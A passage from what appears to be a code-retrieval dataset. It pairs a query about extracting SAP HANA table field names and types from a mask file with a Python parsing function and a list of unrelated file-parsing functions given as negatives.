\"0.60116976\"\n]","isConversational":false},"document_score":{"kind":"string","value":"0.0"},"document_rank":{"kind":"string","value":"-1"}}},{"rowIdx":82193,"cells":{"query":{"kind":"string","value":"(obj, str) > (list(), list()) Extracting table identifiers from the \".txt\" mask file. 'Table Definitions' are taken by simple \"Copy>Paste\" from 'Open Definition' visual interface of table in SAP HANA Studio."},"document":{"kind":"string","value":"def identify_table_mask(self, maskdata_file_name='daily_update_table-mask.txt', delim=';'):\n\n\t\ttable_fields_names, table_fields_types = list(), list()\t\t \n\n\t\tmask_f = open(META_INFO_DIRECTORY + '/' + maskdata_file_name, \"r\")\n\n\t\t# skipping line with descriptions of attributes\n\t\tline = mask_f.readline()\n\n\t\t# first line with data\n\t\tline = mask_f.readline()\n\t\twhile line:\n\t\t\tvalue_list = line.split(delim)\n\t\t\ttable_fields_names.append(value_list[0])\n\t\t\ttable_fields_types.append(value_list[1])\n\t\t\tline = mask_f.readline()\n\t\t\t\n\t\tmask_f.close()\n\n\t\treturn table_fields_names, table_fields_types"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["def GetDefinitions(filename,obj):\n file=open(filename)\n content=file.read().replace(\"\\t\",\" \")\n file.close\n pat=re.compile(obj +' \\{([\\S\\s]*?)\\}',re.DOTALL)\n finds=pat.findall(content)\n return finds","def find_table_command(input_file):\n contents = open(input_file, 'r')\n file = \"\".join(contents)\n table_title = find_table(input_file)[1]\n table_command =[]\n for title in table_title:\n stString = 'CREATE TABLE '+str(title)+ ' ('\n start = file.find(stString)\n end = file.find(');', start)\n word_list = file[start+len(stString):end].split(',')\n table_command.append(stString+ ','.join(word_list)+');')\n\n return table_command","def open_txt_table(txt_file, data_start_with=2,keys_line=0, types_line=1, split_char=\"\\t\"):\n file = open(txt_file,\"r\")\n i = 0;\n line = file.readline()\n keys = []\n types = []\n txt_table_rows = []\n while line != \"\":\n line = line.strip(\"\\n\")\n line = line.strip(\"\\r\")\n if(i >= data_start_with):\n values = line.split(split_char)\n n = len(values)\n values += [\" \" for x in range(len(keys) - n)]\n txt_table_rows.append(\n TxtTableRow(keys, values, types)\n )\n elif(i==keys_line):\n keys = line.split(split_char)\n elif(i == types_line):\n types = line.split(split_char)\n i += 1\n line = file.readline()\n\n file.close()\n return txt_table_rows","def extract_table_byte_table(first_line_idx, lineIN_list): \n DEBUG_byte_table = False\n if DEBUG_byte_table: header = '>>>DEBUG_byte_table:\\t'\n if DEBUG_byte_table: print header, 'first_line_idx', first_line_idx \n if DEBUG_byte_table: from pprint import pprint as pp\n my_lineOUT_list = []\n my_lineIN_list = []\n\n #OBS header_of_the_table = 'Bytes'\n cell0_without_tab_list = [\n ['17', '105-'],\n ['18', '111-'],\n ['19', '131-'],\n ['19', '148-'],\n ['19', '165-'],\n ['19', '168-'],\n ['19', '184-'],\n ['19', '186-'],\n ['19', '188-'],\n ['19', '193-'],\n ['19', '196-'],\n ['19', '212-'],\n ['19', '224-'],\n ['34', '128-'],\n ['34', '130-'],\n ['34', '132-'],\n ['34', '134-'],\n ['34', '136-'],\n ['34', '144-'],\n ['34', '146-'],\n ['34', '148-'],\n ['34', '150-'],\n ['34', '152-'],\n ['34', '160-'],\n ['34', '176-'],\n ['34', '178-'],\n ['34', '180-'],\n ['34', '182-'],\n ['34', '184-'],\n ['34', '186-'],\n ['34', '188-'],\n ['34', '190-'],\n ['34', '192-'],\n ['34', '194-'],\n ['34', '196-'],\n ['34', '198-'],\n ['34', '200-'],\n ['34', '208-'],\n ]\n tab_within_cell_list = [\n ] \n merged_cell_list = [\n # text in this cell is merged cells\n '\\tSee Table',\n '\\t-',\n ] \n #unwanted_line_list = [\n #['19', 'Base ID fields'],\n #['19', 'Extended ID fields'],\n #['19', 'Vendor Specific ID fields'],\n #]\n #ignore_blank_line = [\n # '13',\n #]\n\n \n DEBUG0 = False\n if DEBUG0: header0 = '>>>DEBUG0:\\t'\n if DEBUG0: \n start_line = 1720\n end_line = start_line + 100\n for line_idx in range(start_line, end_line+10):\n #for line_idx in range(len(new_lineIN_list)):\n print header0, '>>>>>>>>>>>>>>', '%d(%s)'%(line_idx, lineIN_list[line_idx].rstrip())\n #if new_lineIN_list[line_idx].startswith('255\\t'):\n # break\n\n DEBUG1 = False\n if DEBUG1: header1 = '>>>DEBUG1:\\t'\n\n for line_idx in range(first_line_idx+1, len(lineIN_list) ):\n\n #this_line = lineIN_list[line_idx]\n #if DEBUG1: print header1, 1000, 'line_idx(%d). (this_line)(%s)'%(line_idx, this_line)\n\n #this_line = lineIN_list[line_idx].replace('\\n', '') # strip EOL only, not other whtite space\n #if DEBUG1: print header1, 1002, 'line_idx(%d). (this_line)(%s)'%(line_idx, this_line)\n\n this_line = lineIN_list[line_idx].rstrip('\\n') # strip EOL only, not other whtite space\n #if DEBUG1: print header1, 1004, 'line_idx(%d). (this_line)(%s)'%(line_idx, this_line)\n\n if DEBUG1: print header1, 1000, 'This table: len(my_lineIN_list)(%d)'%(len(my_lineIN_list))\n\n # Fix unwantted tab in original PDF file: replace unwanted tab into a space\n for tmp_str in tab_within_cell_list:\n if DEBUG1: print header1, 1500, 'line_idx(%d). (this_line)(%s)'%(line_idx, this_line)\n this_line = this_line.replace('%s\\t'%(tmp_str), '%s '%(tmp_str), 1)\n\n if len(this_line) != 0:\n #if re.search('^ *$', this_line): # look for zero or more space, but do not touch the tab\n if DEBUG1: print header1, 2000, 'line_idx(%d). (this_line)(%s)'%(line_idx, this_line)\n try:\n header_of_the_table \n if DEBUG1: print header1, 2100, 'line_idx(%d). (this_line)(%s)'%(line_idx, this_line)\n except NameError:\n header_of_the_table = re.sub('\\t.*', '', this_line) # extract only the first cell\n if DEBUG1: print header1, 2200, 'line_idx(%d). (this_line)(%s)'%(line_idx, this_line)\n\n # Ignore unwanted line within a table\n #for this_table, this_value in unwanted_line_list:\n # if this_table in lineIN_list[first_line_idx] and this_value in this_line:\n # if DEBUG_byte_table: print header, 'SKIPPED %3d: 2000, this_line\\t(%s)'%(line_idx, this_line)\n # pass\n # else:\n # my_lineIN_list.append(this_line)\n my_lineIN_list.append(this_line)\n else:\n # The table itself is between 2 blank lines, except TABLE 13\n #if any(this_table in lineIN_list[first_line_idx] for this_table in ignore_blank_line):\n # if '13' in lineIN_list[first_line_idx]:\n # my_lineIN_list.append('\\t') # line for bit 0 has a missing trailing tab\n # pass\n\n # The table itself is between 2 blank lines\n if DEBUG1: print header1, 6000, 'line_idx(%d). (this_line)(%s)'%(line_idx, this_line)\n if len(my_lineIN_list) != 0:\n if DEBUG1: print header1, 6400, 'line_idx(%d). (this_line)(%s)'%(line_idx, this_line)\n break\n if DEBUG1: print header1, 6600, 'line_idx(%d). (this_line)(%s)'%(line_idx, this_line)\n\n DEBUG2 = False\n if DEBUG2: header2 = '>>>DEBUG2:\\t'\n if DEBUG2: \n print header2, 'This table: len(my_lineIN_list)(%d)'%(len(my_lineIN_list))\n for line_idx in range(len(my_lineIN_list)):\n print header2, 'my_lineIN_list[%d](%s):'%(line_idx, my_lineIN_list[line_idx])\n\n # Make the text line compatible with CSV syntax\n line_idx = 0\n while line_idx < len(my_lineIN_list):\n this_line = my_lineIN_list[line_idx]\n this_delimiter_count = this_line.count('\\t')\n\n if DEBUG_byte_table: print\n if DEBUG_byte_table: print header, '%3d: 2000, this_line\\t(%s)'%(line_idx, this_line)\n\n if this_line.startswith(header_of_the_table):\n #if DEBUG_byte_table: print header, '%3d: 2010, this_line\\t(%s)'%(line_idx, this_line)\n # header of the table\n delimiter_count = this_delimiter_count\n this_line = text_to_csv_syntax(this_line) # text line compatible with CSV syntax\n this_line = text_to_excessive_space_on_hyphen(this_line) # remove the space in 'xx- xx', or 'xx -xx'\n my_lineOUT_list.append(this_line)\n\n else:\n #if DEBUG_byte_table: print header, '%3d: 2020, this_line\\t(%s)'%(line_idx, this_line)\n # Get one or more line until enough cells: \n while this_line.count('\\t') < delimiter_count:\n # append next line\n if line_idx+1 < len(my_lineIN_list):\n if DEBUG_byte_table: print header, '%3d: 2035, my_lineIN_list[line_idx+1]\\t(%s)'%(line_idx, my_lineIN_list[line_idx+1])\n #if any(my_lineIN_list[line_idx+1].startswith(z) for z in (merged_cell_list)):\n if any(z in my_lineIN_list[line_idx] for z in (merged_cell_list)):\n if DEBUG_byte_table: print header, '%3d: 2040, this_line\\t(%s)'%(line_idx, this_line)\n break # Done because a line with merged cell has less total number of cells \n line_idx += 1\n this_line += ' ' + my_lineIN_list[line_idx]\n\n if DEBUG_byte_table: print header, '%3d: 3000, this_line\\t(%s)'%(line_idx, this_line)\n else:\n break\n\n # Has enough cells: append one or more line if these line has no tab except \n # the line start with a specific text\n while line_idx+1 < len(my_lineIN_list) and not '\\t' in my_lineIN_list[line_idx+1]:\n #if any (my_lineIN_list[line_idx+1].startswith(z) for tbl, z in cell0_without_tab_list):\n\n DEBUG_4 = False\n if DEBUG_4: header = '>>>DEBUG_4:\\t'\n if DEBUG_4:\n pass\n #if any (this_table in lineIN_list[first_line_idx] and my_lineIN_list[line_idx+1].startswith(z) for this_table, z in cell0_without_tab_list):\n #print header, cell0_without_tab_list\n print header, cell0_without_tab_list\n #print header, for this_table, z in cell0_without_tab_list):\n #print header, if any (this_table in lineIN_list[first_line_idx] and my_lineIN_list[line_idx+1].startswith(z) for this_table, z in cell0_without_tab_list):\n for this_table, z in cell0_without_tab_list:\n print header, 'this_table(%r), z(%r), lineIN_list[first_line_idx](%r), my_lineIN_list[line_idx+1](%r)'%(this_table, z, lineIN_list[first_line_idx], my_lineIN_list[line_idx+1]),\n print this_table in lineIN_list[first_line_idx] and my_lineIN_list[line_idx+1].startswith(z)\n\n\n if any (this_table in lineIN_list[first_line_idx] and my_lineIN_list[line_idx+1].startswith(z) for this_table, z in cell0_without_tab_list):\n break\n else:\n line_idx += 1\n this_line += ' ' + my_lineIN_list[line_idx]\n if DEBUG_byte_table: print header, '%3d: 4020, this_line\\t(%s)'%(line_idx, this_line)\n if DEBUG_byte_table: print header, '%3d: 4030, text appended\\t(%s)'%(line_idx, my_lineIN_list[line_idx])\n\n this_line = text_to_csv_syntax(this_line) # text line compatible with CSV syntax\n this_line = text_to_excessive_space_on_hyphen(this_line) # remove the space in 'xx- xx', or 'xx -xx'\n my_lineOUT_list.append(this_line)\n if DEBUG_byte_table: print header, '%3d: 9999, my_lineOUT_list[-1]\\t(%s)'%(line_idx, my_lineOUT_list[-1])\n line_idx += 1\n\n if DEBUG_byte_table:\n for str2 in my_lineOUT_list: print header, 'str2(%r)'%(str2)\n return my_lineOUT_list","def generate_defs(config):\n txt_files = glob.glob(config['path']['temp_path'])\n list_defs = []\n for txt in txt_files:\n with open(txt, 'r', errors='ignore') as f:\n def_data = f.readlines()\n temp_list = []\n for item in def_data:\n line = item.replace('\\n', '').replace('\\t', 'Alias:').split(\":\")\n if 'CUI' in line:\n temp_dict = {}\n name = line[-1].replace('\\n', '')\n cui = line[1].split(\",\")[0]\n temp_dict['Term'] = name\n # \t\t temp_dict['CUI'] = cui\n # \t\t if 'TUI(s)' in line:\n # \t\t temp_dict['TUI'] = line[1]\n if 'Definition' in line:\n definition = line[1]\n temp_dict['Definition'] = definition\n # \t\t if 'Alias' in line[0]:\n # \t\t alias = line[-1]\n # \t\t temp_dict['Alias'] = alias\n if temp_dict:\n temp_list.append(temp_dict)\n\n df = pd.DataFrame(temp_list).drop_duplicates(subset=\"Term\", keep='last')\n list_defs.append(df)\n\n # tt = txt.split('.')[0] + '.csv'\n # df.to_csv(tt,index=False)\n frame = pd.concat(list_defs, axis=0, ignore_index=True)\n frame.drop_duplicates(inplace=True)\n frame = frame[['Term', 'Definition']] # 'Alias','CUI','TUI']]\n frame.to_csv(config['path']['definition_file'], index=False)","def table_tags(filen):\n\n print(\"Scanning file \" + str(filen))\n rtable = re.compile(r\"\\$TABLE *:\")\n f = open(filen, \"r\")\n linecount = 0\n tablecount = 0\n tablelist = []\n for line in f:\n linecount = linecount + 1\n table = rtable.search(line)\n if table:\n tablecount = tablecount + 1\n print(str(linecount) + \": \" + str(line.rstrip(\"\\n\")))\n tablelist.append(line.rstrip(\"\\n\"))\n f.close()\n print(str(linecount) + \" lines and \" + str(tablecount) + \" tables\")\n return tablelist","def idsFromDocumentation(filename):\n\tidsInOrder = []\n\tsegment = \"\"\n\twith open(filename) as f:\n\t\tfor l in f:\n\t\t\tif \"<h2\" in l:\n\t\t\t\tsegment = l.split(\">\")[1].split(\"<\")[0]\n\t\t\tif 'id=\"SCI_' in l:\n\t\t\t\tidFeature = l.split('\"')[1]\n\t\t\t\t#~ print(idFeature)\n\t\t\t\tidsInOrder.append([segment, idFeature])\n\treturn idsInOrder","def identifier_entry(self):\n\t self.result_code = open(\"result.c\", \"r\")\n\t self.line_array = self.result_code.readlines()\n\t self.result_code.close()\n\n\t #self.symbol_table = open(\"symbol.csv\", \"w\")\n\t datatypes = [\"int\",\"float\",\"char\",\"double\"] #the datatypes\n\t '''General Pattern for search and sub function for all datatype '''\n\t struct = \"&& .*\"\n\t struct1 = \"&& \"\n\n\t # Looping over all the lines in the intermediate program.\n\t for line in self.line_array:\n\t # Checking for integer declarations.\n\t for datatype in datatypes:\n\t pat = re.sub(\"&&\",datatype,struct)\n\t pat1 = re.sub(\"&&\",datatype,struct1)\n\t if re.search(pat,line):\n\t dec1 = re.split(pat1,line)\n \n\t self.process_declaration(dec1[1],datatype)\n\t print(self.identifiers)\n\t print(self.array_structure)\n\n\t #self.symbol_table.close()","def getTableHead():\n return [\"Reporter\", \"Reportee\", \"aln. DKIM\", \"aln. SPF\", \"Disposition\",\n \"DKIM result\", \"SPF result\", \"msg#\", \"IP\", \"Country\",\n \"Report Begin\", \"Report End\", \"Report ID\"]","def find_table(input_file):\n contents = open(input_file, 'r').readlines()\n title = []\n for line in contents:\n if 'CREATE TABLE' in line:\n T = re.search('CREATE TABLE (.+?) \\(',line).group(1).strip('\\\"')\n title.append(T)\n if len(title) != 0:\n return True, title\n else:\n return False, title","def get_readpattern_defs(self, filename=None):\n if filename is not None:\n return ascii.read(filename)\n\n tab = ascii.read(self.readpatt_def_file)\n return tab","def _parse_entry_table(self,obj,padding=0):\n data = ''\n\n for item in obj.data:\n line = self.parse(item,padding)\n tokens = line.split('\\n')\n tokens[0] = '%s [0x%x] {' % (tokens[0][:-1],int(item.offset))\n data += '\\n'.join(tokens) + '\\n'\n\n return data","def dump_db_table_defs(self, args):\n dbinfo = self.stru.readrec(1)\n if dbinfo[:1] != b\"\\x03\":\n print(\"WARN: expected dbinfo to start with 0x03\")\n dbdef = self.decode_db_definition(dbinfo[1:])\n self.dump_db_definition(args, dbdef)\n\n for k, v in dbdef.items():\n if k.startswith(\"Base\") and k[4:].isnumeric():\n print(\"== %s ==\" % k)\n tbdef = TableDefinition(v, dbdef.get(\"BaseImage\" + k[4:], b''))\n tbdef.dump(args)\n elif k == \"NS1\":\n self.dump_ns1(v)","def create_table(file_to_use):\n lines = []\n for line in file_to_use:\n lines.append(line.split(\",\"))\n lines[-1][-1] = lines[-1][-1][:-1]\n return lines","def __getInterProIndex(self, filePath):\n\n interProD = {}\n encodingD = {\"encoding\": \"ascii\"} if sys.version_info[0] < 3 else {}\n rowL = self.__mU.doImport(filePath, fmt=\"tdd\", rowFormat=\"list\", **encodingD)\n for row in rowL:\n try:\n interProId = row[0].strip().upper()\n interProType = row[1].strip()\n descr = row[2].strip()\n interProD[interProId] = {\"description\": descr, \"type\": interProType}\n except Exception:\n pass\n #\n return interProD","def loadText(self,textFileName):\n textFile = file(textFileName,'rb')\n reHeader = re.compile('^# ([a-zA-Z_0-9]+)')\n id,lines,changed = None,[],[]\n id_records = dict((record.id.lower(),record) for record in self.scripts)\n def unBuffer():\n record = id and id_records.get(id.lower())\n if record:\n code = (''.join(lines)).strip()\n if code.lower() != record.sctx.data.strip().lower():\n record.setCode(code)\n changed.append(id)\n for line in textFile:\n maHeader = reHeader.match(line)\n if maHeader:\n unBuffer()\n id,lines = maHeader.group(1),[]\n elif id: \n lines.append(line)\n textFile.close()\n unBuffer()\n return sorted(changed,key=string.lower)","def getsameIDList(id, file):\n glineList = []\n newread = []\n \n for line in open(file):\n itemList = line[:-1].split('\\t')\n line_id = getsubString(itemList[0],'|')\n \n if id == line_id:\n glineList.append(line)\n else:\n newread.append(line)\n return glineList","def loadText(self,filePath):\n ins = file(filePath,'r')\n reComment = re.compile(r\"#.*\")\n reSection = re.compile(r'@ +(srcmod|replace)',re.M)\n reReplace = re.compile(r\"(\\w[-\\w ']+)\\s*:\\s*(.+)\")\n reNewIds = re.compile(r\",\\s*\")\n mode = None\n for line in ins:\n line = reComment.sub('',line.strip())\n maSection = reSection.match(line)\n if maSection:\n mode = maSection.group(1)\n elif not line: #--Empty/comment line\n pass\n elif mode == 'srcmod':\n self.srcModName = line\n elif mode == 'replace':\n maReplace = reReplace.match(line)\n if not maReplace: continue\n oldId = maReplace.group(1)\n self.newIds[oldId.lower()] = reNewIds.split(maReplace.group(2))\n ins.close()","def parse_tab_outfile(busco):\n with open(busco) as file:\n return file.read().split(\"\\n\")","def load_table2(path=data_path+\"Table2_extended_SN_info.txt\"):\n res = []\n with open(path, 'r') as f:\n for line in f:\n words = line.split('&')\n\n # clean up white spaces\n words_clean = np.asarray([x.strip() for x in words], dtype=object)\n\n # clean up the white space in name\n name_str = words_clean[0]\n name_arr = name_str.split()\n name_new = ''\n for name_part in name_arr:\n name_new = name_new + name_part\n words_clean[0] = name_new\n\n # clean up distance to number\n dist = float(words_clean[3])\n words_clean[3] = dist\n\n # save\n res.append(words_clean)\n res = np.asarray(res, dtype=object)\n\n # save into a dictionary\n res_dct = {}\n for i in range(len(res)):\n res_dct[res[i, 0]] = res[i]\n\n # return np.asarray(res, dtype=object)\n return res_dct","def table_col(file_name='tpch'):\n \n path = './data/' + file_name + \"/sql/{}-create.sql\".format(\"tpch\")\n regex = re.compile(';\\($')\n \n tbl_name = {}\n tbl = \"\"\n with open(path, 'r') as f:\n for line in f.readlines():\n if \"CREATE TABLE\" in line:\n tbl = line.split()[2]\n tbl_name[tbl.lower()] = []\n elif line != \"\\n\" and ');' not in line and regex.search(line) == None:\n col = line.split()[0]\n tbl_name[tbl.lower()].append(col.lower())\n return tbl_name","def parse_tables_xlsx(inp):\n # --------------------------------------------------------------------------\n # Start\n # --------------------------------------------------------------------------\n raw_read = pd.read_excel(inp,sheet_name = None)\n indx = get_tab_index(raw_read)\n # --------------------------------------------------------------------------\n # Get the individual tables from the file\n # --------------------------------------------------------------------------\n tabdict = {}\n for i in indx['tab'].to_list():\n tabdict[i] = get_table_df(raw_read[i])\n # --------------------------------------------------------------------------\n # Finish\n # --------------------------------------------------------------------------\n out = {}\n out['indx'] = indx\n out['tabs'] = tabdict\n return out","def extract_docstrings_from_file_overview() -> Dict[str, Dict[str, str]]:\n with open(DEVELOPER_DOC_PATH, \"r\") as file:\n doc_data = file.readlines()\n\n existing_doc_dict: Dict[str, Dict[str, str]] = {}\n\n # table is present from line TABLE_OFFSET to (length - 1)\n for doc_row in doc_data[TABLE_OFFSET - 1 :]:\n _, folder, filename, docstring, _ = doc_row.split(\"|\")\n folder, filename = folder.strip(), filename.strip()\n if folder:\n # For files under a folder but no folder value in overview file (eg. core.py)\n folder_name = folder\n existing_doc_dict[str(folder_name)] = {}\n if docstring.strip():\n if filename:\n existing_doc_dict[folder_name][filename] = docstring.strip()\n else:\n existing_doc_dict[folder_name][\"no_file_present\"] = docstring.strip()\n return existing_doc_dict","def read(self):\r\n entById = {}\r\n entsByName = {}\r\n header = 'HEADER '\r\n readheader = False\r\n for line in self.file:\r\n e = self.parseLine(line)\r\n if e:\r\n entById[int(e[\"id\"])] = e\r\n ids = e.get(e[\"name\"],[])\r\n ids.append(e[\"id\"])\r\n entsByName[e[\"name\"]] = list(set(ids))\r\n elif 'HEADER' in line:\r\n readheader = True\r\n elif readheader:\r\n if 'ENDSEC' in line:\r\n readheader = False\r\n else:\r\n header += line\r\n \r\n return [entById, entsByName, header]","def vocab_tables(source_file, tags_file):\n pass","def find_header_info(file):\n\n hdr = pyfits.getheader(file, 1)\n obsid = hdr['OBS_ID']\n detnam = hdr['DETNAM']\n date_obs = hdr['DATE-OBS']\n date_end = hdr['DATE-END']\n tstart = hdr['TSTART']\n tstop = hdr['TSTOP']\n ra_pnt = hdr['RA_PNT']\n dec_pnt = hdr['DEC_PNT']\n roll_pnt = hdr['ROLL_PNT']\n defocus = hdr['DEFOCUS']\n foc_len = hdr['FOC_LEN']\n ra_nom = hdr['RA_NOM']\n dec_nom = hdr['DEC_NOM']\n sim_x = hdr['SIM_X']\n sim_y = hdr['SIM_Y']\n sim_z = hdr['SIM_Z']\n\n return [obsid, detnam, date_obs, date_end, tstart, tstop, ra_pnt, dec_pnt, ra_nom, dec_nom, roll_pnt, foc_len, defocus, sim_x, sim_y, sim_z]","def parse(self, lines):\n # Keep count of the current line number.\n i = 0\n # list tables and content\n tables = dict()\n attr_param = list()\n\n skipped_lines = list() # DEBUG\n\n # Loop through all lines.\n for i in range(0, len(lines)):\n line_stripped = lineNormalise(lines[i])\n skip = True\n\n for keyword in self.target_keywords:\n\n # Look for keywords at the beginning of the line.\n if line_stripped.startswith(keyword):\n # print(\"{} : {}\".format(i, line_stripped)) # DEBUG\n skip = False\n\n # Found one, do parse\n expression = re.search(r'(\\w+) (\\w+)', line_stripped)\n if keyword is self.target_keywords[0]: # class/table\n # get table name\n table_name = expression.group(2)\n\n # add it in tables if not already in\n # tables (classes) may be at differant place in a PlantUML file\n if table_name not in tables:\n tables[table_name] = list()\n # print(\"Table : «{}» ajoutee\".format(expression.group(2))) # DEBUG\n print(\"{} : +table «{}»\".format(i, table_name)) # DEBUG\n\n elif keyword is self.target_keywords[1]: # primary key\n # import pdb; pdb.set_trace()\n # get related table\n attr_param = (re.sub(r'(pyk\\()|\\)|,|\\n', r' ', line_stripped).strip().split())\n tables[table_name].extend(attr_param)\n print(\"{} :\\t«{}» +{}\".format(i, table_name, attr_param)) # DEBUG\n\n elif keyword is self.target_keywords[2]: # foreign key\n # get related table\n attr_param = (re.sub(r'(fnk\\()|\\)|,|\\n', r' ', line_stripped).strip().split())\n tables[table_name].extend(attr_param)\n print(\"{} :\\t«{}» +{}\".format(i, table_name, attr_param)) # DEBUG\n\n\n elif keyword is self. target_keywords[3]: # primary foreign key\n # get related table\n attr_param = (re.sub(r'(pfk\\()|\\)|,|\\n', r' ', line_stripped).strip().split())\n tables[table_name].extend(attr_param)\n print(\"{} :\\t«{}» +{}\".format(i, table_name, attr_param)) # DEBUG\n\n else: # attribute\n # print(line_stripped) # DEBUG\n print(\"{} : \\t«{}» Attribute? {}\".format(i, line_stripped)) # DEBUG\n\n if skip:\n skipped_lines.append(i)\n\n print(\"\\nNumbers of tables : {}\\n\".format(len(tables)))\n pp = pprint.PrettyPrinter(indent=4, compact=True)\n print(\"Scraped data:\")\n pp.pprint(tables) # DEBUG\n print(\"\\nSkipped lines: {}\\n\".format(skipped_lines)) # DEBUG","def table_collector(path2mdbs):\n containing_folder = path2mdbs\n contained_files = os.listdir(containing_folder)\n table_list = []\n for mdb_path in contained_files:\n if os.path.splitext(mdb_path)[1]=='.mdb' or os.path.splitext(mdb_path)[1]=='.accdb':\n instance = arcno(os.path.join(containing_folder,mdb_path))\n for tablename, size in instance.actual_list.items():\n if tablename not in table_list:\n table_list.append(tablename)\n return table_list","def extract_references_from_txt(filename):\n file = open(filename)\n references_section = \"\"\n references_section_found = False\n for line in file:\n if \"REFERENCE\" in line:\n references_section_found = True\n if references_section_found:\n references_section+=line + \" \"\n references_section = references_section.replace('\\n','')\n refs = extract_references(references_section)\n return refs","def file_tokenizer_txt(fileName,funcInputs: dict):\n if log.getEffectiveLevel() == Packages.sv.XL_DEBUG:\n log.debug('Entering function file_tokenizer_txt(fileName: str,funcInputs: dict) of Module: ' + __name__)\n\n #Extract input Variables from the dictionary: funcInputs\n try:\n recordMarkerStartText = Packages.Utilities.getValuefromDict(funcInputs, 'recordMarkerStartText', 'Y')\n recordMarkerEndText = Packages.Utilities.getValuefromDict(funcInputs, 'recordMarkerEndText', 'Y')\n tableMarkerStartText = Packages.Utilities.getValuefromDict(funcInputs, 'tableMarkerStartText', 'Y')\n tableMarkerEndText = Packages.Utilities.getValuefromDict(funcInputs, 'tableMarkerEndText', 'Y')\n headerMarkerStartText = Packages.Utilities.getValuefromDict(funcInputs, 'headerMarkerStartText', 'N')\n headerMarkerEndText = Packages.Utilities.getValuefromDict(funcInputs, 'headerMarkerEndText', 'N')\n headerFieldsSelection = Packages.Utilities.getValuefromDict(funcInputs, 'headerFieldsSelection', 'Y')\n tableFieldsSelection = Packages.Utilities.getValuefromDict(funcInputs, 'tableFieldsSelection', 'Y')\n delimiter = Packages.Utilities.getValuefromDict(funcInputs, 'delimiter', 'Y')\n\n except ValueError as error:\n log.error(repr(error))\n if log.getEffectiveLevel() == Packages.sv.XL_DEBUG:\n log.debug('Exiting function file_tokenizer_txt(fileName: str,funcInputs: dict) of Module: ' + __name__)\n return Packages.sv.XL_FAILURE\n\n tableHeaderHasUnits = True\n tableSeperator = 1\n\n headerMarkerStart = True\n tableMarkerStart = True\n recordMarkerStart = True\n tableIndexSelected = False\n headerPrinted = False\n\n headerMarkers = ()\n recordMarkers = ()\n tableMarkers = ()\n\n listHeaderMarkers = []\n listTableMarkers = []\n listRecordMarkers = []\n tableFieldIndex = []\n\n headerStart = 0\n headerEnd = 0\n tableStart = 0\n tableEnd = 0\n recordStart = 0\n recordEnd = 0\n outputStringBuffer = \"\"\n recCounter = 0\n outputFileName= \" \"\n returnDict = {}\n file = os.path.dirname(__file__)\n print(file)\n\n #creating objects of File Stream\n InputFile1, InputFile2 = itertools.tee(fileName,2)\n outputFileName = os.path.join(file,'OUTPUT','TXT', 'TXT_' + datetime.now().strftime('%d_%m_%y_%H_%M_%S') + \"_output.csv\")\n print(outputFileName)\n try:\n writeFile = open(outputFileName, mode='w')\n try:\n for lineno,fileDetails_temp in enumerate(InputFile1):\n # Get start and end markets for record\n fileDetails = str(fileDetails_temp)\n if recordMarkerStartText in fileDetails and recordMarkerStart:\n recordStart = lineno\n recordMarkerStart = False\n if recordMarkerEndText in fileDetails:\n recordEnd = lineno\n recordMarkers = recordStart, recordEnd\n listRecordMarkers.append(recordMarkers)\n recordMarkerStart = True\n # Get start and end markets for Table\n if tableMarkerStartText in fileDetails and tableMarkerStart:\n tableStart = lineno\n tableMarkerStart = False\n if tableMarkerEndText in fileDetails:\n tableEnd = lineno\n tableMarkers = tableStart, tableEnd\n listTableMarkers.append(tableMarkers)\n tableMarkerStart = True\n\n # Get start and end markets for Header\n if headerMarkerStartText in fileDetails and headerMarkerStart:\n headerStart = lineno\n headerMarkerStart = False\n if headerMarkerEndText in fileDetails:\n headerEnd = lineno\n headerMarkers = headerStart, headerEnd\n listHeaderMarkers.append(headerMarkers)\n headerMarkerStart = True\n except Exception as Ex:\n log.debug('Error in Getting Markers for Header,Record and Table')\n log.debug((repr(Ex)))\n if log.getEffectiveLevel() == Packages.sv.XL_DEBUG:\n log.debug('Exiting function file_tokenizer_txt(fileName: str,funcInputs: dict) of Module: ' + __name__)\n returnDict['Parsing_Status'] = Packages.sv.XL_FAILURE\n returnDict['Record_count'] = recCounter\n return returnDict\n\n # Creating header text for output File\n log.debug('Creating header text for output File')\n fileHeader = ','.join(fldList for fldList in (headerFieldsSelection+tableFieldsSelection))\n outputStringBuffer = Packages.Utilities.writeFile(writeFile, outputStringBuffer, fileHeader + '\\n')\n\n index = 0\n recCounter = 0\n tablerecCounter = 0\n record = []\n recordTable = []\n print('len(listRecordMarkers) :',len(listRecordMarkers))\n for openFile_temp in InputFile2:\n openFile = openFile_temp.decode(\"cp1253\").strip()\n while index < len(listRecordMarkers):\n recCounter += 1\n try:\n recordStartMarker, recordEndMarker = listRecordMarkers[index]\n record = []\n currentLine = \"\"\n try:\n while True:\n currentLine = (next(InputFile2)).decode(\"utf-8\").strip()\n if recordMarkerStartText in currentLine:\n record.append(currentLine)\n break\n except StopIteration:\n continue\n #check logic to append to record\n for _ in range(recordStartMarker,recordEndMarker):\n record.append(next(InputFile2).decode(\"cp1253\").strip())\n\n headerStartMarker = headerEndMarker = 0\n headerStartMarker, headerEndMarker = listHeaderMarkers[index]\n tableStartMarker = tableEndMarker = newTableMarker = 0\n tableStartMarker, tableEndMarker = listTableMarkers[index]\n index += 1\n\n recordHeader = record[(headerStartMarker - recordStartMarker): (headerEndMarker - recordStartMarker)]\n recordTable = record[(tableStartMarker - recordStartMarker): (tableEndMarker - recordStartMarker)]\n\n except Exception as Ex:\n log.debug('Error in Details of Header,Record and Table')\n log.debug((repr(Ex)))\n if log.getEffectiveLevel() == Packages.sv.XL_DEBUG:\n log.debug(\n 'Exiting function file_tokenizer_txt(fileName: str,funcInputs: dict) of Module: ' + __name__)\n returnDict['Parsing_Status'] = Packages.sv.XL_FAILURE\n returnDict['Record_count'] = recCounter\n return returnDict\n\n headerText = \"\"\n fileHeader = \"\"\n try:\n for headText in recordHeader:\n for headField in headerFieldsSelection:\n if headField in headText:\n # Count number of delimiters in the line. if count = 1, then get the till the end of line and then tokenize based on delimiter\n if headText.count(delimiter) == 1:\n fieldDetails = re.findall('\"' + headField + '.*?', headText, flags=re.DOTALL)\n elif headText.count(delimiter) == 0:\n #log.debug('No Delimiter found in the line for header filed: {0}'.format(headField))\n continue\n else:\n # Split the text based on delimiter and get the second item of the text after the text is split based on tokens\n fieldDetails = re.findall('\"' + headField + '.*' + delimiter + '*?' + 